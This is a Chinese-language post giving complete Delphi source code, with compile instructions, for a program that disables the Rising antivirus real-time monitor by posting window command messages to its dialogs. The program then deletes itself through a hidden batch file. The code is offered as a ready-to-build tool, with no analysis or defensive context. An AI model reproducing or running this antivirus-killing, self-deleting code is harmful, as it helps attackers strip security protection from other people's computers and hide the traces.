DELPHI关闭瑞星监控的源代码

program Project1;

uses

Windows, Messages, SysUtils;

procedure DeleteMe;

var

BatchFile: TextFile;

BatchFileName: string;

ProcessInfo: TProcessInformation;

StartUpInfo: TStartupInfo;

begin

BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';

AssignFile(BatchFile, BatchFileName);

Rewrite(BatchFile);

Writeln(BatchFile, ':try');

Writeln(BatchFile, 'del "' + ParamStr(0) + '"');

Writeln(BatchFile,

'if exist "' + ParamStr(0) + '"' + ' goto try');

Writeln(BatchFile, 'del %0');

CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);

StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;

StartUpInfo.wShowWindow := SW_HIDE;

if CreateProcess(nil, PChar(BatchFileName), nil, nil,

False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,

ProcessInfo) then

begin

CloseHandle(ProcessInfo.hThread);

CloseHandle(ProcessInfo.hProcess);

end;

end;

procedure StopRising;

var

hWindow: HWND;

lpClassName: array[0..20] of char;

begin

hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);

repeat

GetClassName(hWindow, lpClassName, 20);

if lpClassName = '#32770' then //判断搜索窗口的类名

PostMessage(hWindow, WM_COMMAND,40027,0);

PostMessage(hWindow, WM_COMMAND,2775,0);

PostMessage(hWindow, WM_COMMAND,32776,0);

hWindow := GetWindow(hWindow, GW_HWNDNEXT);

until

hWindow = 0;

end;

begin

StopRising; //调用

DeleteMe;

end.

把全部内容拷贝到 Project1.dpr 中。在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件。

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可。